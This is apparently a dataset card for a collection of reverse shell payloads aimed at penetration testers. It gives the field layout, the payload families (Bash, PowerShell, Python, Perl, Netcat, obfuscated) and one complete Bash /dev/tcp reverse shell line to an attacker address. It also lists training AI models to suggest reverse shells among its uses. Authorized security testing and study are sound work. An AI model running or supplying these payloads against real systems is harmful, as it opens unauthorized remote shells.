license: mit
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- text-classification
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🐚 Reverse Shell Payloads Dataset
A curated and structured dataset of reverse shell payloads used by penetration testers, red teams, and ethical hackers to establish remote command-line access during security assessments.
This dataset provides a diverse set of payloads across multiple platforms and scripting languages, including Bash, PowerShell, Python, Perl, and Netcat.
📁 Dataset Format
The dataset is provided in .jsonl (JSON Lines) format — each line represents a single reverse shell payload with its associated metadata.
Example Entry:
{
"id": "rshell-001",
"language": "bash",
"payload": "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1",
"description": "Basic Bash TCP reverse shell connecting to attacker host.",
"platform": "Linux",
"requires_netcat": false,
"obfuscated": false,
"tag": ["tcp", "bash"]
}
🔍 Fields Description
Field Description
id Unique identifier for the payload
language Language used (e.g., Bash, Python, PowerShell)
payload Full reverse shell command
description Explanation of how the payload works
platform Target OS (e.g., Linux, Windows)
requires_netcat Whether the payload depends on netcat (nc)
obfuscated Whether the payload is encoded or obfuscated
tag List of tags (e.g., tcp, bash, obfuscated)
🧪 Payload Types Included
🐧 Bash TCP & UDP shells
🪟 PowerShell with/without obfuscation
🐍 Python one-liners
🦀 Perl reverse shells
🛠️ Netcat variations (-e, named pipes, backconnects)
🧬 Base64-encoded / eval / hidden commands
✅ Use Cases
Red team cheat sheets and playbooks
CTFs and pentesting simulations
LLM red team assistant training (e.g., “Suggest a reverse shell”)
Automated payload generators
Adversary emulation platforms
⚠️ Disclaimer
This dataset is for educational and authorized penetration testing purposes only. Do not use these payloads on systems you do not own or have permission to test.
📜 License
Released under the MIT License.
🤝 Contributions
Want to add more reverse shells? PRs welcome for:
Different scripting languages
Obfuscation styles
Encoded or encrypted payloads
Staged connection shells